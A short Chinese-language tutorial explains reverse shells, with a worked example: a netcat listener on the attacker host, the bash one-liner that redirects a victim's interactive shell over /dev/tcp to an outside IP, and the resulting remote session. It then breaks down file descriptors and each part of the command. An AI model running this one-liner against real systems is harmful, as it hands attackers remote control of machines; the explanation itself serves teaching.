定义
控制端(攻击方)监听在某TCP/UDP端口,被控端(被攻击方)发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转
实例过程
1.攻击端监听一个端口
[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
2.受害端生成一个反弹shell
[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
3.攻击端已获取到受害端的bash
[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:46836.
[root@victim ~]# //攻击端已获得受害端的远程交互式shell
[root@victim ~]# hostname
hostname
victim
bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
linux文件描述符
linux shell下有三种标准的文件描述符,分别如下
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义,最好的理解是这样的:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
bash -i
生成一个交互的shell
>& /dev/tcp/10.201.61.194/6767
将标准输出和标准错误输出重定向到/dev/tcp/10.201.61.194/6767,传递到远程
0>&1
将标准输入重定向到标准输出,即将标准输入也重定向到远程